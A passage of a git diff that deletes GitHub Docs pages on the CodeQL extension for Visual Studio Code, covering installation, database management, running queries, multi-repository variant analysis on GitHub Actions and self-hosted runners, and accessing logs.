codebases.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /about-codeql-for-vs-code - - /installing-codeql-for-vs-code - - /managing-codeql-databases - - /running-codeql-queries - - /exploring-data-flow-with-path-queries - - /running-codeql-queries-at-scale-with-multi-repository-variant-analysis -redirect_from: - - /code-security/codeql-for-vs-code/setting-up-codeql-in-visual-studio-code ---- diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/installing-codeql-for-vs-code.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/installing-codeql-for-vs-code.md deleted file mode 100644 index abb8f7c21051..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/installing-codeql-for-vs-code.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Installing CodeQL for Visual Studio Code -shortTitle: Extension installation -versions: - fpt: '*' - ghec: '*' - ghes: '*' -product: '{% data reusables.gated-features.codeql %}' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'To get started with {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %}, you need to install and set up the extension.' -allowTitleToDifferFromFilename: true ---- - -## Prerequisites - -The {% data variables.product.prodname_codeql %} extension requires a minimum of {% data variables.product.prodname_vscode %} 1.82.0. Older versions are not supported. - -## Installing the extension - -You can install the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension using one of several different methods: - -* Using the {% data variables.product.prodname_vscode %} Marketplace in a browser. - -* Searching in the "Extensions" view in {% data variables.product.prodname_vscode %}. - -* Using a VSIX file. - -### Using the {% data variables.product.prodname_vscode %} Marketplace - -1. In your browser, go to the ["{% data variables.product.prodname_codeql %}" page](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) in the {% data variables.product.prodname_vscode %} Marketplace. - -1. Click **Install**, then follow the on-screen prompts. - -### Searching in the "Extensions" view - -1. In {% data variables.product.prodname_vscode_shortname %}, open the "Extensions" view. - -1. Search for "{% data variables.product.prodname_codeql %}", then click **Install**. - -### Using the {% data variables.product.prodname_codeql %} VSIX file - -1. Download the [{% data variables.product.prodname_codeql %} VSIX file](https://github.com/github/vscode-codeql/releases) from the `github/vscode-codeql` repository on {% data variables.product.prodname_dotcom %}. - -1. In {% data variables.product.prodname_vscode_shortname %}, open the "Extensions" view. - -1. At the top right of the sidebar, click the ellipsis then click **Install from VSIX...**. - -1. Select the {% data variables.product.prodname_codeql %} VSIX file downloaded in step 1. - -1. Follow the on-screen prompts to complete the installation. - -## Next steps - -To learn how to work with {% data variables.product.prodname_codeql %} databases in the extension, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases). - -If you have already found, downloaded, or created a {% data variables.product.prodname_codeql %} database, you can learn how to use the extension to run queries on {% data variables.product.prodname_codeql %} databases and view the results. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries). - -To learn how to model additional dependencies of a codebase and improve your {% data variables.product.prodname_code_scanning %} results, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor). - -To learn how to configure access to a different version of the {% data variables.product.prodname_codeql_cli %} than the one installed with the extension, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli). - -To learn how to set up a {% data variables.product.prodname_codeql %} workspace, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/setting-up-a-codeql-workspace). diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases.md deleted file mode 100644 index 851f94d5fcb9..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Managing CodeQL databases -shortTitle: Manage CodeQL databases -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can work with {% data variables.product.prodname_codeql %} databases using the extension.' ---- - -## About {% data variables.product.prodname_codeql %} databases - -To analyze a project, you need to select a {% data variables.product.prodname_codeql %} database for that project. You can select a database locally (from a ZIP archive or an unarchived folder){% ifversion fpt or ghec %}, from a public URL,{% endif %} or from a project's URL on {% data variables.product.github %}. Alternatively, you can create a database using the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-cli/using-the-codeql-cli/creating-codeql-databases). - -### Downloading a database from {% data variables.product.github %} - -{% data variables.product.prodname_dotcom_the_website %} stores {% data variables.product.prodname_codeql %} databases for over 200,000 open source repositories that you can use to test your analysis on. {% ifversion ghec %}You can also access databases for repositories hosted on {% data variables.enterprise.data_residency %} by editing your settings and defining the URL for your system, see [Changing the {% data variables.product.github %} URL used by the extension](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings#changing-the-github-url-used-by-the-extension).{% endif %} - -{% ifversion fpt or ghec %} -You can check if a repository has any {% data variables.product.prodname_codeql %} databases available for download, and if so download it, using the REST API. For more information, see [List {% data variables.product.prodname_codeql %} databases for a repository](/rest/code-scanning/code-scanning#list-codeql-databases-for-a-repository) and [Get a {% data variables.product.prodname_codeql %} database for a repository](/rest/code-scanning/code-scanning#get-a-codeql-database-for-a-repository) in the {% data variables.product.prodname_dotcom %} REST API documentation. -{% endif %} - -## Choosing a database to analyze - -1. Hover over the title bar of the "Databases" view and choose the appropriate icon to select your database. You can select a local database (from a ZIP archive or an unarchived folder), from a public URL, or from a project's URL on {% data variables.product.github %}. - -1. Once you've chosen a database, it will be displayed in the "Databases" view. To see the menu options for interacting with a database, right-click an entry in the list. You can select multiple databases at once. - -> [!NOTE] -> You can also analyze test databases. Test databases (folders with a `.testproj` extension) are generated when you run regression tests on custom queries using the {% data variables.product.prodname_codeql_cli %}. If a query fails a regression test, you may want to import the test database into {% data variables.product.prodname_vscode %} to debug the failure. For more information about running query tests, see [AUTOTITLE](/code-security/codeql-cli/using-the-codeql-cli/testing-custom-queries). - -## Filtering databases and queries by language - -Optionally, to see databases containing a specific language and queries written for that language, you can apply a language filter using the language selector. - -1. To see available language filters, in the sidebar, open the "Language" view. - -1. Hover over the language filter you would like to apply, then click **Select**. - -## Next steps - -To learn how to use the extension to analyze your projects by running queries on {% data variables.product.prodname_codeql %} databases, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries). diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis.md deleted file mode 100644 index 6bc0bfcc030d..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis.md +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Running CodeQL queries at scale with multi-repository variant analysis -shortTitle: Queries at scale -versions: - feature: codeql-vs-code-mrva -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can run {% data variables.product.prodname_codeql %} queries on a large number of repositories on {% data variables.product.github %} from {% data variables.product.prodname_vscode %}.' -redirect_from: - - /code-security/codeql-for-vs-code/running-codeql-queries-at-scale-with-mrva ---- - -## About running {% data variables.product.prodname_codeql %} queries at scale with multi-repository variant analysis - -With multi-repository variant analysis (MRVA), you can run {% data variables.product.prodname_codeql %} queries on a list of up to 1,000 repositories on {% data variables.product.github %} from {% data variables.product.prodname_vscode %}. - -When you run MRVA against a list of repositories, your query is run against each repository that has a {% data variables.product.prodname_codeql %} database available to analyze. {% data variables.product.github %} creates and stores the latest {% data variables.product.prodname_codeql %} database for the default branch of thousands of public repositories, including every repository that runs {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}. - -You need to enable {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %} on {% data variables.product.github %}, using either default setup or advanced setup, before adding your repository to a list for analysis. For information about enabling {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning-for-a-repository#configuring-code-scanning-automatically). - -### How MRVA runs queries against {% data variables.product.prodname_codeql %} databases on {% data variables.product.prodname_dotcom_the_website %} - -When you run MRVA, the analysis is run entirely using {% data variables.product.prodname_actions %}. You don't need to create any workflows, but you must specify which repository the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension should use as a controller repository. As the analysis of each repository completes, the results are sent to {% data variables.product.prodname_vscode_shortname %} for you to view. - -The {% data variables.product.prodname_codeql %} extension builds a {% data variables.product.prodname_codeql %} pack with your library and any library dependencies. The {% data variables.product.prodname_codeql %} pack and your selected repository list are posted to an API endpoint on {% data variables.product.github %}, which triggers a {% data variables.product.prodname_actions %} dynamic workflow in your controller repository. The workflow spins up multiple parallel jobs to execute the {% data variables.product.prodname_codeql %} query against the repositories in the list, optimizing query execution. As each repository is analyzed, the results are processed and displayed in {% data variables.product.prodname_vscode_shortname %}. - -### Prerequisites - -* You must define a controller repository before you can run your first multi-repository variant analysis. - -* Controller repositories can be empty, but they must have at least one commit. - -{% ifversion ghec %} -* The controller repository must be hosted on the same site as the repositories that you want to analyze using MRVA, that is: {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_domain %}. If you want to run MRVA on {% data variables.enterprise.data_residency %}, see [Changing the {% data variables.product.github %} URL used by the extension](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings#changing-the-github-url-used-by-the-extension). -{% endif %} - -* On {% data variables.product.prodname_dotcom_the_website %}, the controller repository visibility can be "public" if you plan to analyze only public repositories. The variant analysis will be free. - -* The controller repository visibility must be "private" if you need to analyze any private or internal repositories on {% data variables.product.prodname_dotcom_the_website %}. {% ifversion fpt or ghec %} - -Any actions minutes that you use to run variant analysis on private or internal repositories, above the free limit, is charged to the repository owner. For more information about free minutes and billing, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).{% endif %} - -## Setting up a controller repository for MRVA - -1. In the "Variant Analysis Repositories" view, click **Set up controller repository** to display a field for the controller repository. - - ![Screenshot of the "Variant Analysis Repositories" view. The button to "Set up controller repository" is highlighted in dark orange.](/assets/images/help/security/codeql-for-vs-code-controller-repository.png) - -1. Type the owner and name of the repository on {% data variables.product.github %} that you want to use as your controller repository and press the **Enter** key. {% ifversion ghec %}This repository must be on the same instance of {% data variables.product.github %} as the repositories that you want to analyze, see [Changing the {% data variables.product.github %} URL used by the extension](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings#changing-the-github-url-used-by-the-extension).{% endif %} - -1. If you are prompted to authenticate with {% data variables.product.github %}, follow the instructions and sign in to your account. When you have finished, a prompt from {% data variables.product.github %} Authentication may ask for permission to open in {% data variables.product.prodname_vscode %}, click **Open**. - -The name of the controller repository is saved in your settings for the {% data variables.product.prodname_codeql %} extension. For information on how to edit the controller repository, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings). - -## Running a query at scale using MRVA - -1. By default, the "Variant Analysis Repositories" view shows the default lists of the Top 10, Top 100, and Top 1000 public repositories on {% data variables.product.prodname_dotcom_the_website %} for the language that you are analyzing. If your controller repository is hosted on {% data variables.enterprise.data_residency_domain %}, these lists are not available. - -1. Optionally, you can add a new repository, organization, or list. - - 1. In the "Variant Analysis Repositories" view, click **+** to add a new database. - - 1. From the dropdown menu, select **From a {% data variables.product.github %} repository** or **All repositories of {% data variables.product.github %} org or owner**. - - 1. Type the identifier of the repository or organization that you want to use into the field. - -1. Select which {% data variables.product.github %} repository or repositories you want to run your query against. - - ![Screenshot of the "Variant Analysis Repositories" view. The "octo-org/octo-repo" row is highlighted blue and its "Select" button outlined in orange.](/assets/images/help/security/codeql-for-vs-code-variant-analysis-repo-lists.png) - -1. Open the query you want to run, right-click in the query file, and select **{% data variables.product.prodname_codeql %}: Run Variant Analysis** to start variant analysis. - -> [!NOTE] -> To a cancel a variant analysis run, click **Stop query** in the "Variant Analysis Results" view. - -## Selecting a single {% data variables.product.github %} repository or organization for analysis - -1. In the "Variant Analysis Repositories" view, click **+** to add a new database. - -1. From the dropdown menu, select **From a {% data variables.product.github %} repository** or **All repositories of {% data variables.product.github %} org or owner**. - -1. Type the identifier of the repository or organization that you want to use into the field. - -### Errors and warnings - -When you run MRVA, there are two key places where errors and warnings are displayed: - -* {% data variables.product.prodname_vscode %} errors: any problems with creating a {% data variables.product.prodname_codeql %} pack and sending the analysis to {% data variables.product.github %} are reported as {% data variables.product.prodname_vscode %} errors in the bottom right corner of the application. Information is also available in the "Problems" view. - -* "Variant Analysis Results": any problems with the variant analysis run are reported in this view. - -## Exploring your results - -As soon as a workflow to run your variant analysis on {% data variables.product.github %} is running, a "Variant Analysis Results" view opens to display the results as they are ready. You can use this view to monitor progress, see any errors, and access the workflow logs in your controller repository. - -![Screenshot of "Variant Analysis Results" showing a run for "FileAccessToHttp.ql". Blue circles show the number of results found or "-" still running.](/assets/images/help/security/codeql-for-vs-code-variant-analysis-results-view.png) - -When your variant analysis run is scheduled, the "Results" view automatically opens. Initially, the view shows a list of every repository that was scheduled for analysis. As each repository is analyzed, the view is updated to show a summary of the number of results. To view the detailed results for a repository (including results paths), click the repository name. - -For each repository, you can see: - -* Number of results found by the query - -* Visibility of the repository - -* Whether analysis is still running or has finished - -* Number of stars the repository has on {% data variables.product.github %} - -### Seeing the results for a repository - -1. Click the repository name to show a summary of each result. - -1. Explore the information available for each result using links to the source files on {% data variables.product.github %}. For data flow queries, there'll be an additional "Show paths" link. - - ![Screenshot of the "Variant Analysis Results" view, with blue links to GitHub source files. There is a "Show paths" link, highlighted in dark orange.](/assets/images/help/security/codeql-for-vs-code-variant-analysis-result.png) - -### Exporting your results - -You can export your results for further analysis or to discuss them with collaborators. In the "Results" view, click **Export results** to export the results to a secret gist on {% data variables.product.github %} or to a Markdown file in your workspace. - -## Creating a custom list of repositories - -> [!NOTE] -> {% data variables.product.prodname_codeql %} analysis always requires a {% data variables.product.prodname_codeql %} database to run queries against. When you run variant analysis against a list of repositories, your query will only be executed against the repositories that currently have a {% data variables.product.prodname_codeql %} database available to download. The best way to make a repository available for variant analysis is to enable {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}. For information about enabling {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning-for-a-repository#configuring-code-scanning-automatically). - -1. In the "Variant Analysis Repositories" view, click the "Add list" icon. - - ![Screenshot of the "Variant Analysis Results" view. The "add-list" icon is highlighted in dark orange.](/assets/images/help/security/codeql-for-vs-code-add-list.png) - -1. Type a name for the new list and press **Enter**. - -1. Select your list in the view, then click **+** to add a repository to your list. - -### Managing your custom lists of repositories - -You can manage and edit your custom lists by right-clicking on either the list name, or a repository name within the list, and selecting an option from the context menu. - -The custom lists are stored in your workspace in a `databases.json` file. If you want to edit this file directly in {% data variables.product.prodname_vscode %}, you can open it by clicking **{ }** in the view header. - -For example, if you want to continue analyzing a set of repositories that had results for your query, click **Copy repository list** in the "Variant Analysis Results" view to add a list of only the repositories that have results to the clipboard as JSON. - -In the following example snippet, `my-organization/my-repository` had results for a query: - -```json -{ - "name": "new-repo-list", - "repositories": [ - "my-organization/my-repository" - ] -} -``` - -You can then insert the `new-repo-list` of repositories into `databases.json`for easy access in the "Variant Analysis Repositories" view. - -### Using {% data variables.product.github %} code search to add repositories to a custom list - -> [!NOTE] -> This feature uses the legacy code search via the {% data variables.product.github %} code search API. For more information on the syntax to use, see [AUTOTITLE](/search-github/searching-on-github/searching-code). - -You can use code search directly in the {% data variables.product.prodname_codeql %} extension to add a subset of repositories from {% data variables.product.github %} to a custom list. - -For example, to add all repositories in the `rails` organization on {% data variables.product.github %}, search `org:rails`. - -You can add a maximum of 1,000 repositories to a custom list per search. - -1. In the "Variant Analysis Repositories" view, choose the list that you want to add repositories to. You can create a new list or choose an existing list that already contains repositories. - -1. Right-click on the list you have chosen and then click **Add repositories with {% data variables.product.prodname_dotcom %} code search**. - -1. In the pop-up that appears at the top of the application, under the search bar, select a language for your search from the choices in the dropdown. - -1. In the search bar, type the search query that you want to use and press **Enter**. - -You can view the progress of your search in the bottom right corner of the application in a box with the text `Searching for repositories...`. If you click **Cancel**, no repositories will be added to your list. Once complete, you will see the resulting repositories appear in the dropdown under your custom list in the Variant Analysis Repositories view. - -Some of the resulting repositories will not have {% data variables.product.prodname_codeql %} databases and some may not allow access by the {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %}. When you run an analysis on the list, the "Variant Analysis Results" view will show you which repositories were analyzed, which denied access, and which had no {% data variables.product.prodname_codeql %} database. - -## Running {% data variables.product.prodname_codeql %} queries with multi-repository variant analysis on self-hosted runners - -To run {% data variables.product.prodname_codeql %} queries with multi-repository variant analysis on self-hosted runners, you first need to ensure that you have added a self-hosted runner to your controller repository, or ensure that the controller repository has access to an organization- or enterprise-level runner. - -You then need to add a new Actions repository variable in your controller repository with the name `MRVA_RUNNER_OS` containing a JSON-formatted list of the labels of the self-hosted runner you wish to use. For example: - -```json -["self-hosted", "macOS", "ARM64"] -``` - -> [!NOTE] -> You must set the `MRVA_RUNNER_OS` variable under the Actions repository variables in your controller repository's settings, and not an environment variable or Actions secret under your Actions settings or in your workflow's `.yml` file. -> See [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables#creating-configuration-variables-for-a-repository). - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#changing-which-repositories-can-access-a-runner-group). - -When you run a query with multi-repository variant analysis on a self-hosted runner, the analysis is run entirely on the self-hosted runner. You don't need to create any new workflows, but you must specify which repository the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension should use as a controller repository. As the analysis of each repository completes, the results are sent to {% data variables.product.prodname_vscode_shortname %} for you to view. diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries.md deleted file mode 100644 index 1f9b6dc73795..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Running CodeQL queries -shortTitle: Run CodeQL queries -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can run queries on {% data variables.product.prodname_codeql %} databases and view the results in {% data variables.product.prodname_vscode %}.' -allowTitleToDifferFromFilename: true -redirect_from: - - /code-security/codeql-for-vs-code/analyzing-your-projects ---- - -## About running {% data variables.product.prodname_codeql %} queries - -The [`github/codeql`](https://github.com/github/codeql) repository contains a large number of example queries. You can access any existing queries in your workspace through the "Queries" view. - -### Prerequisites - -To analyze a codebase, you run queries against a {% data variables.product.prodname_codeql %} database extracted from the code, so you'll need to select a database to work with in the extension. You can select a database locally (from a ZIP archive or an unarchived folder), from a public URL, or from a project's URL on {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases). - -## Running a single query - -1. In the sidebar, open the "Queries" view. - -1. To run a query against the selected database, hover over the desired query, then click the **Run local query** icon. - - ![Screenshot of the "Queries" view, with the "Run local query" button outlined in dark orange.](/assets/images/help/security/codeql-for-vs-code-running-a-query.png) - -The {% data variables.product.prodname_codeql %} extension runs the query on the current database and reports progress in the bottom-right corner of the application. When the results are ready, they're displayed in the {% data variables.product.prodname_codeql %} "Query Results" view. - -If there are any problems running a query, a notification is displayed in the bottom right corner of the application. In addition to the error message, the notification includes details of how to fix the problem. - -## Running all queries in a directory - -You can run every query in a directory. - -1. In the sidebar, open the "Queries" view. - -1. Hover over the desired directory of queries, then click the **Run local queries** icon. - -## Running a selection of queries - -You can run multiple queries with a single command. - -1. Go to the File Explorer. - -1. Select multiple files or folders that contain queries. - -1. Right-click and select **{% data variables.product.prodname_codeql %}: Run Queries in Selected Files**. - -## Running a query without any setup - -When working on a new query, you can open a "Quick Query" tab to easily execute your code and view the results, without having to save a `.ql` file in your workspace. Select **{% data variables.product.prodname_codeql %}: Quick Query** from the {% data variables.product.prodname_vscode_command_palette_shortname %}, then to run the query use **{% data variables.product.prodname_codeql %}: Run Query on Selected Database**. - -You can see all quick queries that you've run in the current session in the "Query History" view. Click an entry to see the exact text of the quick query that produced the results. For more information, see [Viewing your query history](#viewing-your-query-history). - -Once you're happy with your quick query, you should save it in a {% data variables.product.prodname_codeql %} pack so you can access it later. For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-reference/about-codeql-packs). - -## Running a specific part of a query or library - -This can be helpful if you're debugging a query or library and you want to locate the part that is wrong. - -Instead of using **{% data variables.product.prodname_codeql %}: Run Query on Selected Database** to run the whole query (the [select clause](https://codeql.github.com/docs/ql-language-reference/queries/#select-clauses) and any [query predicates](https://codeql.github.com/docs/ql-language-reference/queries/#query-predicates)), you can use **{% data variables.product.prodname_codeql %}: Quick Evaluation** to run a specific part of a `.ql` or `.qll` file. - -**{% data variables.product.prodname_codeql %}: Quick Evaluation** evaluates a code snippet that you have selected, instead of the whole query, and displays results of that selection in the "Results" view. - -Possible targets for quick evaluation include: - -* Selecting the name of a {% data variables.product.prodname_codeql %} entity (such as a [class](https://codeql.github.com/docs/ql-language-reference/types/#classes) or [predicate](https://codeql.github.com/docs/ql-language-reference/predicates/#predicates)) to evaluate that entity. - -* Selecting a [formula](https://codeql.github.com/docs/ql-language-reference/formulas/#formulas) or [expression](https://codeql.github.com/docs/ql-language-reference/expressions/#expressions) with free variables to evaluate that formula or expression. - -For example, in the following snippet, you could select the predicate name `foo` or the formula `s = "bar"` for quick evaluation: - -```bash -predicate foo(string s) { s = "bar" } -``` - -## Running a query on multiple databases - -This can be helpful if you want to test your query on multiple codebases, or find a vulnerability in multiple projects. - -1. Open a query (`.ql`) file. - -1. Right-click and select **{% data variables.product.prodname_codeql %}: Run Query on Multiple Databases**. - -1. From the dropdown menu, select the databases that you want to run the query on. - -## Viewing your query history - -To see the queries that you have run in the current session, open the "Query History" view. - -The "Query History" view contains information including the date and time when the query was run, the name of the query, the database on which it was run, and how long it took to run the query: - -* To customize the information that is displayed, right-click an entry and select **Rename**. - -* Optionally, filter the view by language using the language selector. For more information, see [Filtering databases and queries by language](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases#filtering-databases-and-queries-by-language). - -* Click an entry to display the corresponding results, and double-click to display the query itself in the editor (or right-click and select **View Query**). - -* To display the exact text that produced the results for a particular entry, right-click it and select **View Query Text**. This can differ from **View Query**, as the query file may have been modified since you last ran it. - -* To remove queries from the view, select all the queries you want to remove, then right-click and select **Delete**. - -## Understanding your query results - -1. Click a query in the "Query History" view to display its results in the "Results" view. - - > [!NOTE] - > Depending on the query, you can also choose different views such as CSV, [AUTOTITLE](/code-security/codeql-cli/codeql-cli-reference/sarif-output), or [DIL format](https://codeql.github.com/docs/codeql-overview/codeql-glossary/#dil). For example, to view the DIL format, right-click a result and select **View DIL**. The available output views are determined by the format and the metadata of the query. For more information, see [{% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/#codeql-queries). - -1. Use the dropdown menu in the "Results" view to choose which results to display, and in what form to display them, such as a formatted alert message or a table of raw results. - -1. To sort the results by the entries in a particular column, click the column header. - -If a result links to a source code element, you can click it to display it in the source. - -To use standard code navigation features in the source code, you can right-click an element and use the commands **Go to Definition** or **Go to References**. This runs a {% data variables.product.prodname_codeql %} query over the active file, which may take a few seconds. This query needs to run once for every file, so any additional references from the same file will be fast. - -> [!NOTE] -> If you're using an older database, code navigation commands such as **Go to Definition** and **Go to References** may not work. To use code navigation, try unzipping the database and running `codeql database cleanup <database>` on the unzipped database using the {% data variables.product.prodname_codeql_cli %}. Then, re-add the database to {% data variables.product.prodname_vscode %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-cleanup). - -### Comparing query results - -When you're writing or debugging a query, it's useful to see how your changes affect the results. You can compare two sets of results to see exactly what has changed. To compare results, the two queries must be run on the same database. - -1. Right-click a query in the "Query History" view and select **Compare Results**. - -1. A Quick Pick menu shows all valid queries to compare with. Select a query. - -1. The "Compare" view shows the differences in the results of the two queries. - -## Troubleshooting - -To see the logs from running a particular query, right-click the query in the "Query History" view and select **Show Query Log**. If the log file is too large for the extension to open in {% data variables.product.prodname_vscode_shortname %}, the file will be displayed in your file explorer so you can open it with an external program. - -For details about compiling and running queries, as well as information about database upgrades, check the {% data variables.product.prodname_codeql %} Query Server log. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs). - -By default, the extension deletes logs after each workspace session. To override this behavior, you can specify a custom directory for query server logs. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings). - -You can use the **{% data variables.product.prodname_codeql %}: Restart Query Server** command to restart the query server. This restarts the server without affecting your {% data variables.product.prodname_codeql %} session history. You are most likely to need to restart the query server if you make external changes to files that the extension is using. For example, regenerating a {% data variables.product.prodname_codeql %} database that’s open in {% data variables.product.prodname_vscode_shortname %}. In addition to problems in the log, you might also see: errors in code highlighting, incorrect results totals, or duplicate notifications that a query is running. - -## Next steps - -You can optionally use the extension to create your own custom queries. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/creating-a-custom-query). - -{% ifversion codeql-vs-code-mrva %} - -For information on running analysis at scale across many {% data variables.product.prodname_codeql %} databases, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis). - -{% endif %} diff --git a/content/code-security/codeql-for-vs-code/index.md b/content/code-security/codeql-for-vs-code/index.md deleted file mode 100644 index eabad0d0f0d4..000000000000 --- a/content/code-security/codeql-for-vs-code/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Use CodeQL inside Visual Studio Code -shortTitle: CodeQL for VS Code -allowTitleToDifferFromFilename: true -intro: 'Use the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension to write, run, and test {% data variables.product.prodname_codeql %} queries inside {% data variables.product.prodname_vscode %}.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /getting-started-with-codeql-for-vs-code - - /using-the-advanced-functionality-of-the-codeql-for-vs-code-extension - - /troubleshooting-codeql-for-vs-code ---- diff --git a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs.md b/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs.md deleted file mode 100644 index 9e83027c96ae..000000000000 --- a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 'Accessing logs' -shortTitle: 'Access logs' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'If you need to troubleshoot problems with {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %}, there are several logs you can access.' -allowTitleToDifferFromFilename: true ---- - -## About logs - -Progress and error messages are displayed as notifications in the bottom right corner of the {% data variables.product.prodname_vscode %} workspace. These link to more detailed logs and error messages in the "Output" window. - -You can access the following logs: - -* {% data variables.product.prodname_codeql %} Extension - -* {% data variables.product.prodname_codeql %} Language Server - -* {% data variables.product.prodname_codeql %} Query Server - -* {% data variables.product.prodname_codeql %} Tests - -> [!NOTE] -> The {% data variables.product.prodname_codeql %} Language Server log contains more advanced debug logs for {% data variables.product.prodname_codeql %} language maintainers. You should only need these to provide details in a bug report. - -## Accessing logs - -1. In {% data variables.product.prodname_vscode %}, open the "Output" window. - -1. Use the dropdown to select the log view you need. For example, "{% data variables.product.prodname_codeql %} Extension Log". - - ![Screenshot of the "Output" window in VS Code (as highlighted in dark orange). The dropdown is also highlighted, with "CodeQL Extension Log" selected.](/assets/images/help/security/codeql-for-vs-code-access-logs.png) diff --git a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/index.md b/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/index.md deleted file mode 100644 index 37db10207b14..000000000000 --- a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Troubleshooting CodeQL for VS Code -intro: 'Learn how to resolve problems with the {% data 